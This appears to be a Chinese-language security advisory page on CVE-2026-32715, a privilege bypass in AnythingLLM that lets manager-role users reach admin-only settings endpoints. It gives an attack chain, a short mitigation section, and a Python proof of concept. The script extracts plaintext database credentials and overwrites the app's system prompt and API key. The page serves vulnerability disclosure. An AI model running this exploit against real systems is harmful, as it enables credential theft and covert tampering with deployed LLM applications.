IPBUF安全漏洞报告
English
CVE-2026-32715 CVSS 3.8 低危

CVE-2026-32715 AnythingLLM权限绕过漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-32715
漏洞类型
权限绕过/访问控制不当
CVSS评分
3.8 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
AnythingLLM

相关标签

权限绕过访问控制AnythingLLMCVE-2026-32715API安全敏感信息泄露

漏洞概述

AnythingLLM是一款将内容转换为上下文的应用,供LLM在聊天时作为参考使用。该应用在1.11.1及更早版本中存在严重的权限控制缺陷。漏洞源于系统偏好设置相关的两个通用API端点错误地允许manager角色访问,而其他所有涉及相同设置的界面都仅限于admin权限。由于这种权限验证不一致性,具有manager权限的攻击者可以直接调用这些通用端点,绕过前端界面的权限限制,读取明文存储的SQL数据库凭证,甚至可以覆盖仅限admin修改的全局设置,包括默认系统提示和Community Hub API密钥。此漏洞可能被攻击者利用来获取数据库访问权限,从而窃取敏感数据或进一步渗透系统。

技术细节

漏洞根源在于AnythingLLM系统中两个通用的系统偏好设置API端点(/api/system-preferences和/api/settings)缺少严格的基于角色的访问控制(RBAC)验证。这些端点允许任何经过认证的用户(包括manager角色)访问,而其他触及相关设置的界面都正确地限制为仅admin可访问。攻击者利用此漏洞的具体方式:首先获取或持有有效的manager账户凭据,然后直接向这些API端点发送请求。由于端点未正确验证角色权限,manager用户可以访问本应仅限admin查看的敏感配置信息,包括数据库连接字符串(可能包含明文用户名和密码)。此外,攻击者还可以通过相同端点修改全局设置,如系统提示模板和API密钥,从而影响整个系统的安全配置。CVSS 3.1向量显示攻击复杂度低(AC:L),需要高权限(PR:H),但无需用户交互(UI:N),机密性和完整性影响均为低。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标服务器上运行的AnythingLLM版本,确认版本号<=1.11.1
STEP 2
获取访问权限
攻击者获取或使用有效的manager角色账户凭据,登录系统
STEP 3
识别漏洞端点
攻击者发现/api/system-preferences和/api/settings端点缺少角色权限验证
STEP 4
权限绕过
以manager身份直接调用admin-only端点,绕过前端权限控制机制
STEP 5
敏感信息泄露
攻击者从响应中提取明文SQL数据库凭证、API密钥等敏感配置信息
STEP 6
配置篡改
攻击者利用相同端点修改全局系统设置,如系统提示词和API密钥
STEP 7
持久化控制
攻击者可能使用获取的数据库凭证进一步渗透,窃取更多数据或建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-32715 PoC - AnythingLLM Privilege Bypass # Target: AnythingLLM <= 1.11.1 # Vulnerability: Manager role can access admin-only endpoints BASE_URL = "http://target-server:3001" # Step 1: Login as manager user def login_manager(username, password): """Authenticate as manager user to obtain session token""" login_url = f"{BASE_URL}/api/auth/login" data = { "email": username, "password": password } response = requests.post(login_url, json=data) if response.status_code == 200: return response.json().get('token') return None # Step 2: Access system preferences (should be admin-only) def access_system_preferences(token): """Exploit: Access admin-only system preferences as manager""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # This endpoint should require admin role but accepts manager prefs_url = f"{BASE_URL}/api/system-preferences" response = requests.get(prefs_url, headers=headers) return response.json() # Step 3: Read database credentials (exposed plaintext SQL credentials) def read_db_credentials(token): """Extract database credentials from preferences response""" prefs = access_system_preferences(token) # Look for database connection strings in response if 'data' in prefs: for item in prefs['data']: if 'database' in str(item).lower() or 'sql' in str(item).lower(): print(f"[+] Found sensitive data: {item}") return item return None # Step 4: Modify admin-only settings def modify_system_settings(token, settings): """Modify system prompt and API keys (admin-only settings)""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } modify_url = f"{BASE_URL}/api/system-preferences" response = requests.post(modify_url, headers=headers, json=settings) return response.status_code == 200 # Main execution if __name__ == "__main__": token = login_manager("[email protected]", "manager_password") if token: print("[+] Manager login successful") print("[*] Exploiting privilege bypass...") creds = read_db_credentials(token) if creds: print(f"[!] Database credentials exposed: {creds}") # Modify system prompt modify_system_settings(token, { "systemPrompt": "Malicious system prompt", "communityHubApiKey": "attacker-controlled-key" }) print("[+] System settings modified") else: print("[-] Authentication failed")

影响范围

AnythingLLM < 1.11.2

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制对/api/system-preferences端点的访问,仅允许admin角色的IP访问。同时监控日志中的异常权限访问行为,及时发现潜在的攻击尝试。建议在完成升级前,限制manager角色的功能权限,避免其访问系统级配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表